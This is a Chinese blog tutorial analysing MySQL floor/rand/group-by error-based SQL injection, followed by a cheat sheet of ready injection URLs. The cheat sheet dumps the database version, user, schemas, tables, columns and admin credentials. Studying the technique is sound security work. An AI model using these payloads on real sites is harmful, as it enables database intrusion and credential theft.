可我浪费着我寒冷的年华

报错注入分析之(count()、rand()、group by)分析,被大佬称为floor报错注入

PS:在这几天的学习当中很多的文章都将此注入方式称之为“floor报错分析”但经过我这几天的学习。个人觉得不该如此称呼!若君有意请详细阅读此篇文章。特别感谢米怀特的开导,说句实在的研究这个注入有四天了。有点不好意思说出来。其实就是一个语句的事情!但是确实研究四天了。之前实在的虽说口上弄懂了,但脑袋里还是混混沌沌的。也怪自己愚昧。加油吧。废话多了(。_。)

且看完整的payload:
http://www.xishaonian.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

简化后Payload:select count(*),(floor(rand(0)*2))x from table order by x;


 先来分析一下该条Sql语句报错的原因是啥。

00x1 是floor(rand(0)*2)导致的报错吗?
用事实说话!先建立一个表。

首先先插入一条记录。

再执行一下:select count(*) from xishaonian group by floor(rand(0)*2);

再插入一条记录,再执行。直至第三次报错了!

报错了!事实证明,floor(rand(0)*2)报错的条件是当记录数为3的时候。为3必定报错!

之后,我连续插入了八条记录。然后查询了一下

排序是01101100...那么到了第三个。

从1开始算。到了第三个的时候也就是0。系统就会跳过
事实证明floor(rand(0)*2)只有在特定情况下才会报错。

00x2 count group by导致的报错?

count大家都知道是计数函数,那么他是如何计数的呢?count和group by 合在一起用就会建立一个虚拟表,来数(shǔ)数(shù)。
1.大概的虚拟表如下所示(其中的key是主键,是不可以重复的):

2.开始查询数据,取数据库数据,然后查看虚拟表存在不,不存在则插入新记录。存在则count(*)字段直接加1,如下图:

 

由此看到 如果key存在的话就+1, 不存在的话就新建一个key。

那这个和报错有啥内在联系,我们直接往下来,其实到这里,结合前面的内容大家也能猜个一二了。

报错需要count(*)rand()group by,三者缺一不可。

一篇相似的文章:http://www.2cto.com/article/201604/498394.html

 

那么如何利用呢?摘自独自博客/通过floor暴错注入/

/*数据库版本*/

http://www.xishaonian.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*简单办法暴库*/

http://www.xishaonian.cn/sql.php?id=info()

/*连接用户*/

http://www.xishaonian.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*连接数据库*/
http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴库*/
http://www.xishaonian.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴表*/
http://www.xishaonian.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴字段*/
http://www.xishaonian.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴内容*/
http://www.xishaonian.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

结束


 

posted @ 2016-12-27 20:23  珍惜少年时  阅读(6670)  评论(5编辑  收藏  举报
可我浪费着我寒冷的年华